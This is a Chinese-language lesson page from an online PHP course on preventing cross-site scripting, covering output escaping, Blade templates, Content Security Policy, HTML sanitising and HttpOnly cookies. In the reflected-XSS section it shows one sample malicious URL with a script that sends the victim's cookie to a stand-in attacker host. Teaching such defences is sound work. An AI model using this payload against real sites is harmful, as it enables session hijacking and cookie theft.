0Pricing
PHP Academy · 课时

跨站脚本攻击（XSS）防护

使用 htmlspecialchars 转义输出，并实现内容安全策略。

跨站脚本攻击（XSS）防护 是 CoddyKit 上的免费 PHP Academy 课时。 这是第 1 节课，共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 PHP Academy 学习路径的一部分，你的进度在网页和 CoddyKit 应用中同步。 PHP Academy 课程共包含 4 节课。

什么是 XSS？

跨站脚本攻击（XSS） 是指攻击者将恶意 JavaScript 注入其他用户查看的网页。该脚本会在受害者的浏览器中运行，并可访问其会话、Cookie 和 DOM。

反射型 XSS

恶意负载位于 URL 或表单参数中，并由服务器在响应中原样返回。

// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>

存储型 XSS

负载被保存到数据库中（例如评论或个人资料字段），并显示给查看该页面的所有访客。

基于 DOM 的 XSS

该漏洞完全存在于客户端 JavaScript 中，客户端使用 innerHTML 或 document.write 不安全地将不受信任的数据插入 DOM。

htmlspecialchars()

转义输出，将 HTML 特殊字符转换为无害的实体。在渲染用户提供的数据之前，务必先进行转义。

<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entities

Blade 自动转义

Laravel Blade 的 {{ }} 语法会自动调用 htmlspecialchars。只有对于受信任且已清理的 HTML，才使用 {!! !!}。

{{-- Safe: --}}
<h1>{{ $user->name }}</h1>

{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>

内容安全策略（CSP）

CSP HTTP 请求头会指示浏览器只执行来自受信任来源的脚本，即使注入的内联脚本到达页面，也会将其阻止。

<?php
$response->headers->set("Content-Security-Policy",
    "default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);

清理 HTML 输入

如果必须允许富 HTML 输入（例如来自 WYSIWYG 编辑器的输入），请使用白名单库（如 HTML Purifier）或 mews/purifier Laravel 软件包进行清理。

<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);

X-XSS-Protection 请求头

添加 X-XSS-Protection: 1; mode=block 请求头（用于支持旧版浏览器）。现代浏览器改为依赖 CSP。

仅 HTTP Cookie

在会话 Cookie 上设置 HttpOnly 标志可以阻止 JavaScript 读取 Cookie，即使脚本被注入，也能降低基于 XSS 的会话窃取风险。

验证 URL

未经验证，绝不要将用户提供的 URL 插入 href 或 src。javascript: URI 可能会执行 XSS。

<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
    $url = "#"; // fallback
}

摘要

始终使用 htmlspecialchars（或 Blade 的 {{ }}）转义输出。添加内容安全策略。使用白名单库清理 HTML 输入。使用 HttpOnly Cookie。

快速检查

哪个 PHP 函数会将 HTML 特殊字符转换为实体？

常见问题解答

「跨站脚本攻击（XSS）防护」课时是免费的吗？

是的 — 「跨站脚本攻击（XSS）防护」的完整文本可在网页上免费阅读。要进行交互式练习（内置代码编辑器和全天候 AI 导师）并解锁 PHP Academy 课程的其余内容，请升级到 CoddyKit PRO。 PHP Academy 课程共包含 4 节课。

「跨站脚本攻击（XSS）防护」这节课中我会学到什么？

使用 htmlspecialchars 转义输出，并实现内容安全策略。 你通过在浏览器中直接运行的动手代码来练习 PHP Academy，全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 PHP Academy 需要有经验吗？

无需任何先前经验。CoddyKit 上的 PHP Academy 课程适合初学者到高级学习者，你可以从这里开始或从头开始，按照自己的节奏学习。 这是第 1 节课，共 4 节。

「跨站脚本攻击（XSS）防护」课时需要多长时间？

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动，所以你能稳步进步，并在网页和应用中从离开的地方继续。

我能在这节 PHP Academy 课中编写并运行代码吗？

能。每节 PHP Academy 课都包含内置代码编辑器，你可以在浏览器中直接编写并运行真实代码，并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

  1. 跨站脚本攻击（XSS）防护
  2. SQL 注入与参数化查询
  3. CSRF 防护
  4. 安全存储密码
← 返回 PHP Academy